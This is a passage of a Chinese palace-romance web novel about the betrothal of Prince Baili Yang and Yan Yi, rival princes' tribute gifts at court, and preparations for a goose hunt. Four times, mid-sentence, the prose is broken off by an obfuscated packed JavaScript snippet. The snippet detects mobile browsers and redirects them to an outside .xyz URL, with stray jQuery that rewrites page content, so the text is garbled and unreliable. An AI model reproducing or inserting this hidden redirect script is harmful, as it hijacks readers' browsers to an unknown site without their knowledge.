颜漪并没有在意在大街上被百里漾“视为不见”的事情,毕竟当时情况特殊,她比较意外的是百里漾竟然会因为这件“微不足道”的事情亲自当面向她致歉。 这位江都王是真的很不一般啊,这个认知让颜漪感到惊奇。 在他身上几乎看不到那些天潢贵胄们天生自带的傲慢无礼,反而出人意料的品行纯良。她开始好奇了,对百里漾好奇,好奇他是怎么长成这般的内里的。颜漪这时候有些相信长公主百里澄说的话了。若她必嫁入天家,百里漾会是最好的选择,各种方面上的最好的选择。 颜漪的内心想法如何,坐在她对面的百里漾是不得而知的。他只觉得经过了这么一番对话,两人之间没有那么生分了,他也能更自然地面对眼前的未婚妻了。 这不失为一个好的现象和发展。 百里漾摸了摸茶杯,发现里面已经空了,想把茶杯放回去,颜漪已经瞧见了他的动作,主动给他续上,笑道:“大王请饮茶。” 百里漾喝了一口,喉咙里因为干渴而带来的些微痒意一下就被平复了。他手里还继续摸着茶杯,看着对面巧笑嫣然的女子,少有的觉得自己是一个言语如此贫乏的人。其实他是想问问对面的女子对于这门婚事的看法,是否愿意但又觉得问了也是徒劳。 莫非他们还能改变这门婚事么?不可能的,圣旨已下,无可更改了。 这么想着,颜漪忽看着他问道:“听说江都山灵水秀,景色宜人,令人神往。可惜我却一直未能亲眼得见,大王可否为我说上一说?” 百里漾微愣,很快就意识到颜漪说这话释放出了什么样的信号,他摇头之后又点头,“好,我与你说说。”好在他在江都时并不是只宅在王廷里,他喜欢到处溜达,这时候也不至于无话可说。 这么一聊,时间不知不觉就过去了。 等定国公府的人来请百里漾时移步去膳厅时,他才恍然惊觉已经将近酉时了。这个点往往是吃完饭的时辰了。这一顿晚饭是宾主尽欢,再之后百里漾也告辞离开了。 送走了江都王这位未来的天家贵婿,曹氏留女儿在房中说了一会儿话。重点是问女儿对江都王的观感如何。如果有可能,曹氏自然是希望女儿嫁的是她喜欢的人,现在培养感情也好来得及。 “江都王看着是一个不错的人。”颜漪回想了一下今日与百里漾的接触,回道。 知女莫若母,曹氏知道女儿如此回答已算是对江都王有些好感了。她大为欣慰,轻拍着女儿的手背,“如此看来,你爹也不算选错人。” 所有人都心知肚明,颜漪与百里漾的这桩婚事并不单纯,它涉及到的太多了,皇后、东宫、颜氏……太多太多的人乃至性命身家都可能系在这桩婚事上面了。也正是因为干系如此重大,定国公府中能决定这桩婚事的也就只有定国公一人。 作为辅佐皇帝的国之重臣,他选择的不只是女婿,也等同于是选择了定国公府的立场——东宫。所以这也是定安王在知道皇帝为百里漾择定了定国公的嫡长女为妃时那无以复加的怨愤与嫉妒。他恨皇帝的偏心,用一桩婚事将定国公府绑定在了东宫和百里漾的船上。 “阿爹的选择从一开始就是明确的。”颜漪目中是一片冷然,她早就知道她可以选择的余地并不多。 从曹氏那里回到自己的院子之后,颜漪身边的婢女捧着一个方形的檀木盒过来告诉她这是江都王送给她的礼物。 将将半臂长的盒子,直接就排除了胭脂水粉、首饰头面等物什。颜漪忽然有些好奇,江都王会送什么样的东西给她? “给我吧。”颜漪从婢女手中接过了盒子,一入手便能感觉它的分量,不只是盒子本身,礼物本身就具有一定的分量。 所以,这里面会是什么呢? 想到百里漾本人的“特别”,她更加好奇了,亲手打开了盒子,也看到了里面礼物的庐山真面目。 “姑娘,这……”婢女亦是好奇未来姑爷送来的是什么,她也猜了一些可能,但怎么也不会想到是这么个东西啊,所以她忍不住惊呼出声,“江都王,他、他怎么给您送了这样的东西过来?” 盒子里面,静静安卧在软衬之上的,赫然是一柄匕首。 婢女想不明白,哪有第一次见面给姑娘家送这种东西的啊?! 匕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736852|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首是利器,为兵器的一种。因为是江都王送过来的,联系他的身份,婢女瞬间就脑补了一些不好的猜测——该不是,不会是江都王实际对这桩婚事很不满,以此来警告她们姑娘什么的吧? 正当婢女心惊胆颤地猜测百里漾送匕首的用意时,却看到自家姑娘对着那柄匕首露出了笑容,很美,漂亮极了。婢女一下子就懵了,更加迷糊了,她在颜漪身边伺候了多年,自然分得出来此刻颜漪的笑容是真心还是浮于表面。 姑娘她是真的高兴啊,对这柄匕首很满意啊。 颜漪将匕首拿出来握在手里端详。 匕首很漂亮,手柄以及鞘上都做了精美的纹饰雕刻,却没有过多的珠玉宝石装饰,整体只有不到半臂长。拔出,眼前顿时划过一片清亮之色。 “拿一张手帕来。”颜漪目不转睛说道。 “啊?”婢女只愣了一下就依言去做了,拿来了一张素白色的巾帕,然后就看到自家姑娘将手帕缓缓地落在匕首的刃上,然后,巾帕一分为二。 婢女有些瞠目,忍不住赞叹,“这匕首竟如此锋利!”她之前还以为这匕首装饰的作用更大些,没想到竟然还是削铁如泥级别的宝物。 “替我回复江都王,就说他送的礼物我很喜欢。”颜漪从光可照人的刃面看到了自己上扬的唇角,吩咐说道。 “是,姑娘。”婢女领命去办了。 那边百里漾回到了江都王宅,他心情颇好,迎面遇到了一名从江都来的属臣,就是帮他准备礼物拜访定国公府的那位。 属臣见百里漾乐呵呵地回来,心情看起来也不错,猜想此行的拜访必是顺利。他先是向百里漾道喜,然后突然想到了一茬,心里开始打鼓,是为百里漾打的。因为百里漾亲自挑选出来的要送给未来王妃的礼物他见过,还是他亲自经手备好的。 属臣想不明白自家大王怎么会选那么特别的东西送给一个女子,他跟颜漪身边的婢女一样想不通百里漾的脑回路,但他不会如婢女般猜测百里漾故意以此来暗示警告什么。他只是担心百里漾送匕首会吓到未来王妃,因此给对方留下不好的印象。未来王妃又不是男子,送些珠宝首饰之类的不是更适宜么? 百里漾可不知道属臣内心可为他操心了。他选择送那柄匕首给颜漪是一个偶然的想法。当想到要送一份见面礼给颜漪时,他脑海中第一时间冒出来的就是那柄匕首。同时浮现在他脑海中的是在然溪山别业马场里快意驰骋的颜漪,真可谓是英姿飒爽,既洒脱也豪迈。 他那时就觉得那柄匕首与颜漪一定很相配。 “大王,您将那柄匕首作为礼物送出去了?”属臣有些谨慎小心地问道。 “送出去了。”百里漾理所当然回道。他不太明白属臣问这话的意思,东西准备了自然就是要送出去的啊。 “那、那……定国公府那边可有说什么?” 百里漾更莫名了,眼神狐疑地瞧着他。 “臣的意思是颜家大姑娘可喜欢您的礼物?”属臣身体绷了一下,赶紧说道。 31. 第 31 章 百里漾这会儿明白过来,原来属臣是担心他送出去的礼物不讨喜。他摇了摇头,礼物不是他亲手送给颜漪的,自然也不会知道对方打开盒子后看到里面的东西是什么反应。 是哦,他送的礼物未必讨人喜欢,属臣的忧虑并非没有道理。 “启禀大王,定国公府那边派人来,是说有话带给您。”正当百里漾被属臣带着染上了些忐忑愁绪时,有仆从过来禀道。 “嗯,说了什么?”百里漾精神一振,连忙问道,又快快改口,“不,人在哪里?带来见我。” 人很快被带过来,百里漾对她有些印象,是颜漪身边的婢女。 婢女见到百里漾行了一礼,说她家姑娘令她过来传话,“大王送的礼物,姑娘说她甚是喜欢,感谢大王赠礼,她亦有回礼给大王。” “喜欢便好。”百里漾听婢女说颜漪对那柄匕首喜欢时就高兴了,又听还有回礼给他,顿时就期待起来了。 在百里漾期待的眼神中,婢女双手奉上了一个蓝色宝葫芦形状的香囊,表面绣着好看的祥云纹和一些花蔓缠枝。百里漾拿在手上摸了摸,看得出上面的针脚很是细密,也说明了制作这个香囊的人很用心。 百里漾知道,这香囊一定是出自颜漪之手,作为回礼送给他的。 想到这里,百里漾心中就升起了一股既感动又欢喜的情绪。这是颜漪亲手做来给他的香囊,他有了这个认知,就感觉特别的欢喜。虽然这不是他第一次收到别人亲手制作给他的东西,可这一次的感觉就是不一样的。 在百里漾摸着香囊端详的时候,婢女就在一旁偷偷地观察他的神情表现好回去向自己姑娘禀报。百里漾没有注意到,属臣注意到了,也没有说,反正可以理解。 “替我回复你家姑娘,就说我亦很喜欢。”百里漾小心收了香囊,转头对婢女说道。 使命完成的婢女便带着百里漾的回复离开了,百里漾想了想派人送她回去。等人走了,他又把香囊拿出来看了又看,还在腰间比划了一下,余光看到属臣还没走,于是问他,“你还有事?” 属臣摇头,尽力控制住自己脸上的肌肉不摆出一言难尽的表情来。可能是因为迈入了不惑之年,年轻人的世界他有些理解不来了。于是拱手向百里漾告退,回去做事了。 拜访定国公府之后,没几日便到了岁贡之日。 五月十五,大朝议。诸侯王进殿,朝拜皇帝。 这是自兴业八年之后,时隔五年,湛京中的群臣们再次见到了这些已经成年被封出去的诸侯王们。除开与皇帝同辈的淄川王,引得群臣更多关注的是有皇子身份的另外四位,其中更令人注目的是最为年长的定安王以及身份最为尊贵的江都王。 定安王勇武过人,生得魁梧英姿,唇周蓄了短短的黑须。朝拜时身姿挺拔,声若洪钟,显得尤为沉稳,有大丈夫气概。再观江都王实是令人眼前一亮。椒房好颜色当年是天下皆知,百里氏代代出美男子,当今年轻时亦是英武好男儿,两者所出之子容貌之盛在东宫与栎阳长公主身上已经得到了体现,没想到最年幼的江都王亦丝毫不逊色。 当然大臣们也不是光看脸的,他们看着百里漾的言行举止,姿态仪容,又想到这几年江都国日愈物阜民丰,一派安宁,其中必有江都王一份功劳,不由捋须暗暗点头。 别人如何想百里漾不知道,说起来这还是他头一回参加朝廷的大朝议,心中不免紧张。好在此前相关注意事项已由长兄与长姐提点过一遍了,做起来也不至于慌乱出错。 按制,朝觐之时,藩王要向皇帝献黄金、玉璧等物。临淄王为长辈,首献。他之后以年长为先,故定安王先献。除了常规上献之外,定安王还捧出了一个盒子,打开露出里面一柄造型殊异的匕首,双手捧举过头顶,朗声道:“臣献离渊狼牙匕一把,贺陛下长乐千秋。” 话一出,满殿臣子都有些震动,好些个伸长了脖子去看,“竟是狼牙匕,这可是离渊大贵族才有之物。” 定安王这突如其来的一手亦惊到了百里漾。他的席位正好可以看清发生的一切,也看到了那柄狼牙匕的真容。 所谓狼牙匕,因形似狼牙且锋利无比而得名。但此种形制的匕首向来只有在大衍的北方离渊国才有。定安王所献狼牙匕通体镶嵌金银宝石,极尽奢华,非离渊国的上层大贵族不能拥有,而且害的是离渊汗王的心腹才有资格佩戴的。以大衍与离渊如今的关系,定安王能得此物,只能是缴获所得。可是近来也未曾听说有离渊来犯的消息。 定安王得意道:“四月中,臣巡视边防时,出城三十里,遇一离渊百人队伍劫掠我朝子民,臣领兵与之作战,尽数歼灭,得其首领所佩狼牙匕,今日献与陛下。” 皇帝手中已拿到了那柄狼牙匕,拔开眼前闪过一片清亮的光,又见刃面上刻着一只狼头图腾,大为欢喜,“好好,此物朕甚是喜欢。定安王英武有功,着赐珍珠一斛。” 定安王得了皇帝在满殿朝臣面前亲口的夸赞与赏赐,欢喜退下了。但他此举让之后要朝觐上献的兄弟们感觉到了窘迫和压力,他们可没有准备有额外的献礼要献给皇父。没有办法,之后的长夏王只能按着规矩和流程行完了朝觐之礼。 轮到百里漾时,满殿的目光似乎都汇聚到他一个人的身上。他看到定安王朝他投来得意中带着挑衅的目光以及太子长兄略显担忧的眼神。百里漾给了后者一个安心的眼神,在大鸿胪唱名之时,执笏稳步上前至丹陛之下的位置,瞬间那种万众瞩目的感觉就更加强烈了。 百里漾稳了稳心神,行礼参拜,有条不紊地进行献礼。常规的黄金、玉璧献上之后,他手中捧着一个三尺余长的漆木盒。在周围人或好奇看戏或忐忑的目光之中,百里漾打开了盒子,露出里面的一支颗粒饱满、结满穗种的稻禾,“此乃江都去年收获的秋稻,臣亲手收割,献与陛下,贺陛下千秋万岁,山河永固。” “一支稻禾罢了,也敢于我的狼牙匕相比,百里漾竟也当众献与阿爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736853|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不觉得寒碜。”定安王心中讥笑不已,等着看百里漾的笑话,但后续的发展却不如他的意。 皇帝一见这株稻禾结得硕累就欢喜,又听是儿子亲手收割来献与他,更加高兴,捋须大笑,一连说了三个“好”,“五郎有心,朕很喜欢。”说着手抚着稻禾上饱满的稻粒,看向群臣,“愿我大衍如此稻禾,千秋万代,传之无穷。” “陛下万年,大衍万年。”群臣见状起身恭贺。 定安王也在人群之列,他掐着手掌心的软肉让自己稳住得体含笑的神情,却在下一刻看到皇帝转手将手中的稻禾送给旁边的太子,眼中的嫉恨终究没有藏住泄漏出来几分。他立即低下头再次狠掐掌心,再抬头已能一派真诚地随着大臣们恭贺太子。 “你是没有看见定安王的嘴脸,之前那得意洋洋的模样在看到陛下夸赞你后又将稻禾赐给太子顿时那扭曲嫉妒的,真是太快人心啊。”江都王宅的花厅里,崔栋拍着大腿直乐道。 朝觐之时,崔栋也在殿上。只是他作为诸侯国的臣子,在满殿公卿里排不上号,位子也靠后。这种场合,众人注目的对象不是他,他就有闲功夫去关注一些人,其中就包括定安王,自然也就将定安王的神情变化收入眼中里。 定安王献狼牙匕,分明是要在皇帝和众臣面前显耀夸功,将其余的兄弟们比下去。而作为主要被拉踩对象椒房一派的坚定支持者,崔栋能高兴才奇怪了。如今定安王偷鸡不成还蚀把米,崔栋回过头就毫不客气地嘲笑了。 “好在之前多做了一手准备。”百里漾亦是松了一口气。 献稻禾是百里漾之前就有的一个想法。与高/皇帝一样,皇帝亦看重农事,每年受到皇帝褒奖的一批官员里,绝大部分都有农事方面的优异政绩,足以证明皇帝的重视。他也没有说谎,他所献的稻禾确实是自己亲手去收割的。当时他看到水稻丰收、硕累的稻粒将禾秆都快压弯了腰就觉欢喜,想着献与阿爹必会使其高兴,便让人收好做了处理准备献给皇帝。 那时百里漾可没有想到皇帝会允诺在外的诸侯王进京朝觐,也不会想着要在朝觐之时献给皇帝。只是定安王突然搞了这么一出,他也只好提前拿出来应对了。 效果确实佳,最让人安心的还是皇帝的做法。皇帝受到稻禾的欢喜、当众说的话以及将稻禾转赠给太子的举动所显示出来的态度——圣意依旧在太子,这才是令定安王最为嫉妒痛恨与不甘的。说实话,百里漾献稻禾并不算高明,真正给定安王插了一刀的是皇帝。作为被偏爱的一方,百里漾的感觉自然是很好的。 有人感觉好就有人感觉不好。 回到定安王宅之后,定安王百里洪强装了一整日的沉稳得体的假面被他撕下来,心中不甘的野兽被从牢笼里放出来咆哮,迫切想要撕碎什么,“本王不服,不服!凭什么阿爹只看得见百里渝和百里漾?一个病歪歪不知道哪日就死的病秧子,一个连毛都没长齐的黄口小儿。论勇武论能力,我如何就比他们差了?” 32. 第 32 章 “明明是我奋勇拼杀斩获得来的狼牙匕,在阿爹眼中竟然比不过一株不知道从哪里揪来的杂草。那是个什么糟践玩意,阿爹竟然还如此抬举百里漾,还说什么‘千秋万代,传之无穷’,转头就给了百里渝,还是当着满殿公卿的面。” 定安王此刻就如同一支被点燃的炮仗,威力巨大,满室都是他暴怒的声音。王国相安静无比地立在一旁,等待自家大王发泄完。好一阵,无人“搭理”的定安王慢慢平复下来,瞥了一眼静默如钟的王国相,猛灌了一壶茶,嗓子眼里的干渴才好些。 “是本王失态了。”定安王发泄过后,为自己的行为描补道。 王国相从定安王就封时就一直侍奉他,对此已是见怪不怪。定安王脾气颇为暴烈,作为他的臣属,王国相早就心中有数。怒气容易冲昏头脑,易怒之人常无理智。好在他侍奉的主子虽然性情暴烈,但暴怒时不会让怒气淹没理智,并非是全然的缺点。 “今日之事,国相可有良策?”定安王不问王国相如何看待今日之事,因为皇帝的意思已经很明显了。太子的地位依旧稳固,哪怕他是一个病秧子,哪怕他没有儿子,只要他还活着一日,他就永远是太子,皇帝永远都不会改立其他人为太子。 这一点,定安王在过去这些年已经领悟得很透彻了,虽然不甘,怨恨皇帝偏心,但他可以等,他就不信他活不过一个病秧子。他可以有耐心等太子病逝,但他绝对不希望他等来等去等到的结果是太子死了,最后百里漾成为新的太子。 对于今日大朝会之上发生的事情,与其说定安王愤懑的是皇帝偏心太子,不如说是他怨恨甚至恐慌的是皇帝在大臣们面前透露出来的态度——即便是太子没了,还有江都王百里漾,诸子之中皇帝最看重的依旧是椒房一脉。那他还有什么希望? “陛下看重椒房并非一日两日了。”王国相面色凝重,如今湛京的情形对他们依旧不利,皇帝态度不改,定安王争位的机会依旧渺茫。 可他们并非没有希望,此次皇帝允诸侯王回京就是一个信号,皇帝虽然看重东宫但并非完全不顾念其他的儿子。况且皇帝这几年身体似乎也不太好了,又眼看着太子的身体一日日的如此病弱,难免不会有其他的想法。 大衍的江山总要延续下去的,显然以太子的身体情况他并不是那个能够承继的人,皇帝总要在其他皇子之中做考虑甚至抉择的。定安王如今是太子之下最为年长的皇子,他的希望总要大过其他许多皇子的。而诸皇子之中最大的竞争对手无疑是江都王百里漾。 “臣观陛下的态度,岁贡之后怕是不会很快令诸王回封地,大王还可在湛京之中留一段时日。在这段时日之中,大王宜应把握机会,多去陛下跟前侍奉,增进父子感情。陛下不是狠心之人,大王心中时刻惦念着皇父,久而久之,陛下心中自然也会念着大王的。” 王国相给出的策略很简单,就是让定安王趁着在湛京的机会卯足劲去皇帝面前刷存在感以及好感。他与皇帝同辈,年纪甚至比皇帝还要大一些。而人到了这个年纪,有些想法是共通的,哪怕是皇帝也不能免俗。人老了很多时候就会惦念亲情,就想要享受儿孙绕膝的天伦之乐。而在这一点上,定安王显然要比椒房一脉有优势。如果再能在皇帝面前诉诉苦,惹得皇帝心软,从而得到一些好处就更好不过了。 当然,王国相也并非让定安王只做这一件事情。这好不容易回到湛京了,也要趁机联络一些臣子,看看能不能争取他们的支持。这朝中有人了,以后想做什么也会方便许多。至于旁的,暂时且看且应对着。 还是那句话,徐徐图之。 定安王双眸微沉,沉思过后,点头道:“便依国相之言。” 五月十五的朝觐之后,在京的诸侯王基本没有什么正事要干了。正事没有,私底下的事情却不少。有的与母妃数年不见,在前往封地之前想在母妃膝下多尽点孝心,故而基本上是一有机会就往宫里跑,尤其是定安王;有的感怀于阔别数年的湛京变化繁多,连日里不分白天黑夜的在京城东逛西走,将湛京里所有有名号的勾栏瓦舍都光顾了一边,这个是长夏王。再不然就是走亲访友,许多老朋友也许久没有见面了,走动走动,顺便联络联络感情。 这日,百里漾去椒房殿拜见皇后。 椒房殿中不只有皇后在,还有长姐百里澄带着软糯糯的小侄女阿荧也在。皇后一看见小儿子就高兴,怀里抱着小孙女,在百里漾行完礼后对他招手,眼眸中荡漾开了一圈笑意,“正说到你,你就来了。” 百里漾观皇后脸色红润,容光焕然,气色颇佳,想来心情大好。他坐下后,笑问道:“阿娘与阿姐在说我什么?” “五叔。”阿荧一见百里漾就欢喜。也许是因为血脉使然,她对这个才认识了没多久的五叔格外的喜欢,扭着小身子对皇后说要到五叔那边。皇后自然乐于见他们叔侄亲近,放了手让她过去了。 “在说你的婚事。”话是百里澄回的,然后就饶有兴味地看着自己幼弟脸上出现了一点疑似红晕的东西。 “阿娘与阿姐说了、什么?”再次提起婚事,百里漾已经没有之前那般羞窘了,他觉得自己要不了多久就能很坦然地与人谈论这个话题了。兴许是上一次与颜漪的见面太过融洽美好,他对这门婚事并没有抵触的地方,甚至有时候还会想,如果是她的话,未来的生活应该不会变得糟糕。 “灵台丞昨日已向陛下上奏近来半年内的良辰吉日,陛下也给了我一份,看看选一个合适的日子出来。我看来看去实在拿不定主意,正巧你阿姐过来,我便让她跟着一块参详参详。”皇后笑得满脸慈爱,百里漾这才她手边此刻正搁着一本红色的册子。 这“合适的日子”很明显指的就是百里漾的婚期。 百里漾感觉耳根升腾的热意很快就要冲上头脑了,他勉力保持了镇定,问道:“那阿娘可有看中的日子?” 没等皇后回答,百里澄上前拿了那吉日册子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736854|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夹在纤长如玉莹润的指间,眼眸中含着笑,问百里漾,“我与阿娘实在是拿不定主意。正好五郎你来,瞧瞧哪个日子更好些,好将新妇娶回家去。” 这话说的,百里漾顶不住直接红了脸,慌忙又结巴道:“此事、此事还是由阿爹与阿娘定夺好了,儿、儿听命就是。”在这个时代,婚姻大事大多遵从父母之命媒妁之言,婚期的定下也包括在其中,他等着通知便是。长姐来这么一句,不过是起了恶趣味想逗他一下。 皇后也发现长女在逗幼子玩,无奈这么些年长女喜欢逗弄下面弟弟妹妹的恶趣味还没有扔掉。可她虽是摇头却也忍不住失笑,及时出言拯救了百里漾,顺便也给他一点心理准备,“我与你阿爹觉得七月十二与八月初六两个吉日都不错,只是还定不下来。” 七月十二与八月初六,这两个日子之中择一么? 百里漾目光不由一闪,他大概知道为什么定不下来了,这两个吉日相差了将近一个月的时间。若无意外,他是要在湛京成婚之后再携新妇一道返回江都的。他那些兄弟们本身对他要留在湛京成亲后再回江都就很不情愿,一旦他成婚完就意味着他会更晚会封底,这无疑是他们不愿意看到的。 其实这两个吉日都好,并不存在哪一个更好问题致使难选。真正难以抉择的原因是在这里,也是皇帝的顾虑。皇后自然是希望小儿子能够在湛京留的时间长一些,但这件事情真正做下决定的还是皇帝。将吉日册子送到皇后这里来是皇帝对于皇后的敬重,皇后心中也是有数的。 “这件事情就由你阿爹操心去了。”皇后并不想在这个问题上多谈,在两个儿女面前这么说也是告诉他们自己将选择权交给了皇帝,她看向百里漾,叮嘱道:“不管婚期定在七月还是八月,总归是不远了,该准备的就要准备起来了。” 历来皇室子弟或是宗室人员成婚都是有规例的,向来是由??等负责统筹的,大多数时候并不需要成亲的当事人去做什么,但也不是完全就置身事外的。皇后在这里特意嘱咐百里漾“要准备起来”,那有些事情就是必须要他亲自去做。 百里漾有些赧然,其实他并不知道要做什么,天家的婚仪向来繁复,而他以往也只以看客的身份参加过太子长兄与定安王的婚礼,对与新郎官在婚前需要做什么,他还真不知道。但他不想在这里询问皇后与百里澄,心中暗暗决定在之后去问问负责婚事筹备的官员。 他没打算问,殊不知百里澄在旁定定看了他几息,忽开口道:“近来京中天气愈发燥热,向来在然溪山附近是见不着大雁了,你可能需要往东边去远一些。” 大雁? 百里漾神情微愣,随机反应过来,如今婚嫁之事多遵从六礼,其中下聘一项中就要有聘雁。但大雁难得,尤其是活雁,寻常人家想要得到一对活雁更难,就有了折中的法子——用木雁。皇家下聘自然不可能用木雁,活雁是必然会有的,但若是那一对活雁是新郎官自己亲手所猎,无疑会更好。 33. 第 33 章 “多谢阿姐提点,过一两日我便往东边去猎雁。”百里漾心中有了定计,朝百里澄谢道。 “你有心便好,但切记诸事小心,多带些人手随从护卫。”皇后觉得小儿子日渐开窍,心中宽慰,又嘱咐百里漾要注意安全。 百里漾刚应下,挨在他身边的阿荧忽然嫩声问道:“五叔是要出城去狩猎么?” “是的呢。”不待百里漾回答,皇后笑吟吟地开口,顺便招手让阿荧过来,揽到怀里亲亲小孙女光滑白嫩的小脸蛋,为她解答,“你五叔要猎一双活雁回来去往你未来的五婶家下聘,这样以后我们阿荧就会有五婶了。也许用不了多久,阿荧就会有弟弟或妹妹一道玩耍了。” 这话一下子就跨越到要生孩子了,百里漾低着头没接这话。 阿荧年纪尚小不懂这些,她只听懂了一件事情,仰头看着皇后,满眼充盈着渴望,“阿荧也想去骑马狩猎。” 闻言,皇后轻抚小孙女身子的手微顿,她看着阿荧稚嫩小脸上的向往与希冀,想起这孩子长到现在还没有正儿八经地出过一趟皇宫,而阿荧分明是想去的,只是年纪还是小了些。 百里澄看出皇后的为难与顾虑,不甚在意说道:“此事还不简单,届时我带着阿荧与五郎一道同去就是,阿兄与阿嫂那边我去说。” 长女大多数时候都很有自己的注意,亦十分可靠,由她带着阿荧,皇后并没有什么不放心的,便笑着允了。倒是百里漾,他没想到一眨眼的功夫,阿姐与小侄女就要与他一同出城去猎雁了。不过看着阿荧欢喜的模样,他也跟着笑起来。 入夜之后,东宫,太子居住的主殿还亮着。夜里的风甚是凉爽,书房四周开了几扇小窗。 太子披着一件缎面外袍正在翻看一些臣子的奏事。不知过了多久,外边传来问安太子妃的声音。太子抬头望去,正好瞧见太子梁氏手端着一碗热汤药进来。 见状太子不由微微皱眉,“此事由下边人去做便好,仔细烫了手。” 太子妃则不以为意,面上容色依旧浅淡,但也隐含着几分关切,“顺手之事,太子此时合该服药,误了时辰影响了药效。” 太子忽然有些不敢看太子妃错开她的目光,转头瞪了一眼旁边得候的近侍,必然是他向太子妃泄的密,让太子妃知道自己时常过了时辰才喝汤药。 近待缩了缩身子,企图当作自己不存在。无法,有太子妃在眼前亲自督促,太子也不好说什么,搁了手里的奏事贴,看药温差不多时喝了药,一入嘴,整个口腔里瞬间就弥漫开一股熟悉又难言的苦涩滋味,连舌根都苦得有些发麻。 近侍眼疾手快熟练地递上一颗红糖给太子压压苦味。好一会儿,太子苦到发麻的舌根觉得好些了。他不想与太子妃面时面时陷入长久的沉默之中,而他们之间绝对不会出错的话题就是他们的女儿,所以他开口问道:“阿荧睡下了?” “刚睡下,知道后日可以同长公主和五王往城外东郊狩猎,回来之后就没有闲过,一会儿令人将她的骑装拿来试穿,一会儿要试试她的弓。若不是我按着,她还要在夜跑到马厩去看看她的小马驹。折腾好一阵,沐浴之后沾上床榻便睡着了。”只有说起女儿时太子妃面上的那一层淡漠才会消融些许,透着母亲的柔软与慈爱。 太子不经意间看着入了迷,忽然见太子妃微转眸错开他的视线,他有些尴尬,心中却是止不住的失落。他随即轻咳了两声,笑容里满是对女儿的宠溺,“也好,她自小就在宫里跑,哪个地方她没去过。皇宫虽大,也大不过外面的世界,该让她出去看看的。有阿澄和五郎看着,也没有什么可担忧的。” 他说着话,却没有发现太子妃眼眸中一闪而逝的怨憎。女儿的话题说完,太子觉得嘴里发干,忽然又不知要说什么些好了。 “太子服了药,妾也放心了,这便告退了。” 太子妃离开得一点都不迟疑,太子挽留不住她,只得点头,“好,你去罢。我这还有几分奏事没看完。” 眼看看太子望着太子妃离开的方向愣愣地出神,近侍忍不住道:“殿下为何不留下太子妃?”明明是很想把人留下的,可是太子就是不愿意开口挽留。 “留得住人也留不住心,何必再为难她。”太子望着空荡荡的书房来处,心中也随着空荡。但他的黯然很快被敛去,又恢复成了那位威严冷淡的大衍太子,“以后类似的话我不想再听见。” 近侍心中一凛,连忙跪下,保证自己再不敢逾矩。 “好了,起来磨墨吧。”太子将目光重新放到手上的奏事上,不再说其他。书房又恢复了此前的沉静,好似谁也没有来过一般。 前日在椒房殿中百里漾与百里澄定下了猎雁之事,花一日时间准备,选在今日出发。与百里漾姐弟俩同去的还有崔栋。他知道百里漾要去猎雁下聘,便嚷嚷着自己也要去。 百里漾奇道:“舅舅不是已经为你前往卢家下聘了么,你还要活雁做甚?” 崔栋则满脸的理直气壮,“哪又如何,还不许我弄些小玩意送去?再者,我的职责便是护卫你,不让我跟着去算怎么回事?” 他说的确实有理,百里漾也没有非不让他去。造成的结果就是,出发当日汇合之时,不仅崔栋自己来了,还带来了妹妹崔若以及身后的三十名将军府的随从。 而对百里漾私下指责他不仅事先告知的话,崔栋也很有理,他表示,“妹妹在家中留不了几年就要嫁人。他这个做哥哥的本来与妹妹相处的时间就不多,这段时日不抓紧时间多与妹妹相处一阵,往后机会是越来越少了。” 这对候男女成婚的年龄普遍都早。男子还好说,成了亲也依旧是住在家里的,可女子是要嫁到别人家去的。崔若已经及笄,崔预夫妻俩早就开始为她相看未来夫婿的人选了,确实用不了几年就要离家嫁人了。 而崔栋说的相处时间不多,追溯原因还是在百里漾身上。崔栋跟着百里漾就封,作为江都王的属臣,他到时也是要随着去的,自然的也就没有多少机会兄妹相处了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740861|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 作为“罪魁祸首”,百里漾愧疚,也说不出什么话来了。 